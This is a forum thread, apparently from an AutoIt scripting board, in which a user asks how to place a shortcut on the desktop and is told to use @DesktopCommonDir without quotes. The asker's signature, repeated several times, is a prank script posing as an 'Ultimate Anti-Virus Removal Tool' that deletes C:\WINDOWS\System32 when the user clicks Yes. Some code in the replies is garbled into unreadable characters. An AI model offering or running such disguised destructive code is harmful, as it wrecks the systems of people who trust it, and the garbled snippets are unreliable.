Sign in to follow this  
Followers 0
Firefoxy

Probably a stupid question....

7 posts in this topic

Hey. I was making a script and I wanted it to end it by creating a link on the desktop. The problem is I'm not sure how to tell it to go to the current user's desktop. Is there a code for that?

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites



@DesktopCommonDir


Agreement is not necessary - thinking for one's self is!

My-Colors.jpg

cuniform2.gif

Share this post


Link to post
Share on other sites

Hey. I was making a script and I wanted it to end it by creating a link on the desktop. The problem is I'm not sure how to tell it to go to the current user's desktop. Is there a code for that?

@DesktopCommonDiroÝ÷ Û¥·­º¹íêZ¶h¶zÉ-¢®¶­sdfÆT7&VFU6÷'F7WB

Can create a shortcut :rolleyes:

Share this post


Link to post
Share on other sites

@DesktopCommonDiroÝ÷ Û¥·­º¹íêZ¶h¶zÉ-¢®¶­sdfÆT7&VFU6÷'F7WBoÝ÷ Ø&§r·µæ¬írëªê-y8b²+-ç(uâ.±çZºÚ"µÍ[PÜX]TÚÜÝ]
    ][ÝÐÎÌLÔÙÜ[H[ÉÌLÑ^ÈØ[YÉÌLÔÚYYZYÌÎNÜÈÚ][^][Û
    ÌLÐÚ][^][Û^I][ÝË  ][ÝÐÚÝÜÛÛ[[Û][ÝÊ

And it didn't work. It ended up putting a shorcut named @DesktopCommonDir.lnk in the same folder that the script was in >.<


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

FileCreateShortcut('C:\path to\file.ext', @DesktopCommonDir & '\shortcutname.lnk')

Don't quote @macros.

*sigh* Sooo that's why all of the macros I try fail....Well, stupid question. Thanks for the help.

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

This is the code I used:

FileCreateShortcut("C:\Program Files\Firaxis Games\Sid Meier's Civilization 4\Civilization4.exe", "@DesktopCommonDir")

I can do signature me.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0